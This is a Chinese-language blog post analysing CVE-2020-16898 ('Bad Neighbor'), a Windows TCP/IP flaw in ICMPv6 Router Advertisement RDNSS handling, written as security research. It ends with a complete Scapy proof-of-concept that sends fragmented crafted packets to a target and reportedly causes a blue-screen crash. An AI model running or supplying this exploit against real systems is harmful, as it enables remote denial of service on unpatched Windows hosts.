CVE-2020-16898 "Bad Neighbor"漏洞分析与利用

本文详细分析了CVE-2020-16898 Windows TCP/IP远程代码执行漏洞的技术细节,包括RDNSS选项处理机制、漏洞触发条件、利用限制以及完整的PoC开发过程,揭示了该漏洞的底层原理和利用方法。

CVE-2020-16898 – “Bad Neighbor"漏洞利用分析

引言

在2020年10月13日的补丁星期二,微软修复了一个非常有趣(且具有吸引力)的漏洞:CVE-2020-16898 - Windows TCP/IP远程代码执行漏洞。根据微软的描述:

“当Windows TCP/IP堆栈不正确地处理ICMPv6路由器通告数据包时,存在远程代码执行漏洞。成功利用此漏洞的攻击者可以在目标服务器或客户端上执行代码。要利用此漏洞,攻击者必须向远程Windows计算机发送特制的ICMPv6路由器通告数据包。该更新通过纠正Windows TCP/IP堆栈处理ICMPv6路由器通告数据包的方式来解决此漏洞。”

漏洞信息收集

从检测逻辑的分析中我们了解到:

“虽然我们忽略所有不是RDNSS的选项,但对于选项类型=25(RDNSS),我们检查选项中的长度(第二个字节)是否为偶数。如果是,我们将其标记。如果不是,我们继续。由于长度以8字节为单位计数,我们将长度乘以8并跳转相应字节数以到达下一个选项的开始(减去1以考虑我们已经消耗的长度字节)。”

从这些信息中我们了解到:

  • 我们需要发送RDNSS数据包
  • 问题出现在长度字段为偶数时
  • 负责解析数据包的函数将引用RDNSS有效载荷的最后8字节作为下一个头部

RDNSS分析

递归DNS服务器选项(RDNSS)是路由器通告(RA)消息的子选项之一。RA可以通过ICMPv6发送。

长度字段描述: “8位无符号整数。选项的长度(包括类型和长度字段)以8字节为单位。如果选项中包含一个IPv6地址,则最小值为3。每个额外的RDNSS地址将长度增加2。接收方使用长度字段确定选项中的IPv6地址数量。”

这本质上意味着只要有任何有效载荷,长度必须始终是奇数。

触发漏洞的条件

问题1 - IPv6链路本地地址

我们发现源地址必须是链路本地IPv6地址(fe80::/10前缀),否则数据包不会被处理。

问题2 - 寻找正确的头部

通过逆向工程发现,代码中有两个循环:

  • 第一个循环遍历所有头部并进行基本验证(长度大小等)
  • 第二个循环不再进行验证,而是解析数据包

通过暴力测试所有"可选头部"类型,发现第二个循环只关心:

  • 类型3(前缀信息)
  • 类型24(路由信息)
  • 类型25(RDNSS)
  • 类型31(DNS搜索列表选项)

问题3 - 数据包大小

在验证过程中,数据包的总大小必须与所有定义的"长度"字段匹配,否则验证会失败。

问题4 - 再次遇到大小问题

即使找到了正确的数据包布局,仍然可能因为"假头部"的长度字段与剩余数据包大小不匹配而失败。

问题5 - NdisGetDataBuffer()和分片

NdisGetDataBuffer函数有一个优化:如果请求的数据在缓冲区中是连续的,返回值是NDIS提供的位置指针;如果不连续,则复制到存储参数中。

为了绕过这个优化,需要对数据包进行分片处理。

漏洞利用原理

该漏洞允许 smuggling一个额外的"头部”。这个头部没有经过验证,但包含"长度"字段。触发漏洞后,该字段仍将根据数据包大小进行检查。

关键点:

  • 只能使用链路本地IPv6地址作为源地址进行利用
  • 整个有效载荷必须是有效的IPv6数据包
  • 必须使用分片来绕过NDIS API的优化

概念验证代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/usr/bin/env python3
#
# CVE-2020-16898概念验证/蓝屏漏洞利用
# Windows TCP/IP远程代码执行漏洞
#

from scapy.all import *

v6_dst = "fd12:db80:b052:0:7ca6:e06e:acc1:481b"
v6_src = "fe80::24f5:a2ff:fe30:8890"

p_test_half = 'A'.encode()*8 + b"\x18\x30" + b"\xFF\x18"
p_test = p_test_half + 'A'.encode()*4

c = ICMPv6NDOptEFA()

e = ICMPv6NDOptRDNSS()
e.len = 21
e.dns = [
"AAAA:AAAA:AAAA:AAAA:FFFF:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA" ]

pkt = ICMPv6ND_RA() / ICMPv6NDOptRDNSS(len=8) / \
      Raw(load='A'.encode()*16*2 + p_test_half + b"\x18\xa0"*6) / c / e / c / e / c / e / c / e / c / e / e / e / e / e / e / e

p_test_frag = IPv6(dst=v6_dst, src=v6_src, hlim=255)/ \
              IPv6ExtHdrFragment()/pkt

l=fragment6(p_test_frag, 200)

for p in l:
    send(p)

这个漏洞利用成功触发了堆栈溢出,导致系统蓝屏,证明了该漏洞的严重性和可利用性。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计